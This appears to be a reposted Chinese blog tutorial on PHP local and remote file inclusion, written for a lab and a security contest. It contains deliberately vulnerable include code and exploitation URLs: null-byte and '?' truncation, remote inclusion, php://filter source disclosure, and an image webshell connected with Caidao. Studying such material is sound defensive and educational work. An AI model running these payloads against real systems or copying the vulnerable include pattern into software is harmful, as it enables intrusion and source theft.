文件包含漏洞之本地包含和远程包含

简介:

文件包含漏洞介绍:


  程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程一般被称为文件包含。程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。几乎所有脚本语言都会提供文件包含的功能,但文件包含漏洞在PHP中居多,而在JSP、ASP、ASP.NET程序中却非常少,甚至没有,这是有些语言设计的弊端。在PHP中经常出现包含漏洞,但这并不意味这其他语言不存在。



漏洞成因:


  文件包含漏洞的产生原因是在通过引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过合理的校验,或者校验被绕过,从而操作了预想之外的文件,就 可能导致意外的文件泄露甚至恶意的代码注入。当被包含的文件在服务器本地时,就形成的本地文件包含漏洞,被包涵的文件在第三方服务是,就形成了远程文件包 含漏洞。



漏洞危害:


    执行恶意代码、包含恶意文件控制网站、甚至控制网站服务器等。



本地包含漏洞:


代码:

1
2
3
4
5
6
7
8
9
<?PHP
 
$file =@ $_GET [ 'name' ];
 
if ( $file ){
     include  $file ;
}
 
?>

    

以以上这个代码为例:


访问:http://127.0.0.1/fileupload/include.php?name=1.txt


  1. txt文件代码为:

1
2
3
4
5
<?php
 
phpinfo();
 
?>


我们可以看到txt文件里的内容以php文件的方式执行了;如下图所示:

wKiom1mdGyWDvKAjAAB9cHenV-0609.png



再看,如果访问:http://127.0.0.1/fileupload/include.php?name=2.jpg

2.jpg是一个图片的一句话木马;

wKioL1mdHS6hluOdAAASw4-kQdQ070.png-wh_50


用菜刀可以直接连接,也就是说不管后缀是什么样,最后都会以php的形式执行。



但是有时候会这样,这个在ISCC国赛中遇到了,就是在最后会自动加入.php,非常烦人。


代码2:

1
2
3
<?php
     Include   $_GET [ 'page' ]. ".php"
?>


执行结果如下图:

wKioL1mdJBmBc5u6AABo5WvNZ28269.png-wh_50


如果访问:http://127.0.0.1/fileupload/include2.php?page=1.txt


还是报错。


wKiom1mdJYCDlsCEAABQC659A7c814.png-wh_50

解决办法:%00截断

利用环境:php版本<5.3magic_quotes_gpc取消的(magic_quotes_gpc = off)



访问:http://127.0.0.1/fileupload/include2.php?page=1.txt%00


wKioL1mdJcXzg_hBAAB0G2GPapw630.png




远程包含:


  远程的文件名不能为php可解析的扩展名(php、php5..),而且php.ini中allow_url_fopen和allow_url_include为On才可以。



访问:http://127.0.0.1/fileupload/include.php?name=http://127.0.0.1/1.txt


wKioL1mdJtnjcJOkAACPnjdVwdM034.png-wh_50




如果是遇到这种情况:

wKiom1mdJz-R4oI_AABJe51vBaA471.png可以用“?”或者“%00”阶段;

http://127.0.0.1/fileupload/include2.php?page=http://127.0.0.1/1.txt?




读取源码:php://filter/read=convert.base64-encode/resource=1.txt


http://127.0.0.1/fileupload/include.php?name=php://filter/read=convert.base64-encode/resource=1.txt


读取出来的是base64编码的,进行解码就行了。

wKiom1mdKCvBXXhkAAAezxXZmDI531.png-wh_50




总结:这些在iscc的国赛赛中出现过,如果当时会阶段或者会读取源码,也就能获奖了,学无止境,加油吧。


1.jpg




本文转自 天道酬勤VIP 51CTO博客,原文链接:http://blog.51cto.com/tdcqvip/1958654

相关文章
|
2月前
|
安全 PHP
36、远程文件包含漏洞
36、远程文件包含漏洞
14 0
|
7月前
|
SQL Web App开发 安全
Smanga未授权远程代码执行漏洞(CVE-2023-36076) 附加SQL注入+任意文件读取
Smanga存在未授权远程代码执行漏洞,攻击者可在目标主机执行任意命令,获取服务器权限。
167 0
|
8月前
|
Shell Linux
附加到文件
附加到文件
27 1
|
11月前
|
存储 安全 Shell
|
安全 PHP Windows
35、本地文件包含漏洞
35、本地文件包含漏洞
73 0
35、本地文件包含漏洞
|
编解码 安全 Shell
CVE-2017-9993ffmpeg 任意文件读取漏洞环境
漏洞描述 2.8.12之前的FFmpeg、3.1.9之前的3.0.x和3.1.x、3.2.6之前的3.2.x和3.3.2之前的3.3.x未正确限制HTTP Live Streaming文件扩展名和解复用器名称,这允许攻击者通过特制的播放列表数据读取任意文件。 环境搭建可以查看我的这篇文章 https://developer.aliyun.com/article/1113693?spm=a2c6h.26396819.creator-center.8.22fb3e18sKKMLR 目录为 /vulhub-master/ffmpeg/phdays 运行命令 ```sh docker-compose
358 0
 CVE-2017-9993ffmpeg 任意文件读取漏洞环境
|
安全 Python
python——脚本实现检测目标ip是否存在文件包含漏洞
python——脚本实现检测目标ip是否存在文件包含漏洞
154 0
python——脚本实现检测目标ip是否存在文件包含漏洞
|
安全
【错误记录】无法打开 “xxx“ , 因为 Apple 无法检查其是否包含恶意软件
【错误记录】无法打开 “xxx“ , 因为 Apple 无法检查其是否包含恶意软件
575 0
【错误记录】无法打开 “xxx“ , 因为 Apple 无法检查其是否包含恶意软件
|
安全 中间件 Shell
文件包含漏洞利用方式-日志注入getshell
中间件的日志文件会保存网站的访问记录,比如HTTP请求行,User-Agent,Referer等客户端信息 如果在HTTP请求中插入恶意代码,那么恶意代码就会保存到日志文件中,访问日志文件的时候,日志文件中的恶意代码就会执行,从而造成任意代码执行甚至获取shell 比如使用代理工具抓包,在HTTP请求中插入一句话木马,访问日志文件时会执行一句话木马,然后使用蚁剑等工具链接,从而getshell
576 0
文件包含漏洞利用方式-日志注入getshell
|
安全 PHP 数据库
WordPress安全漏洞:从任意文件删除到任意代码执行
  WordPress安全漏洞:从任意文件删除到任意代码执行   WordPress是网络上最受欢迎的CMS系统。据w3tech统计,约有30%的网站运行了该系统。该系统的应用是如此广泛,难免会成为网络犯罪分子攻击目标。
597 0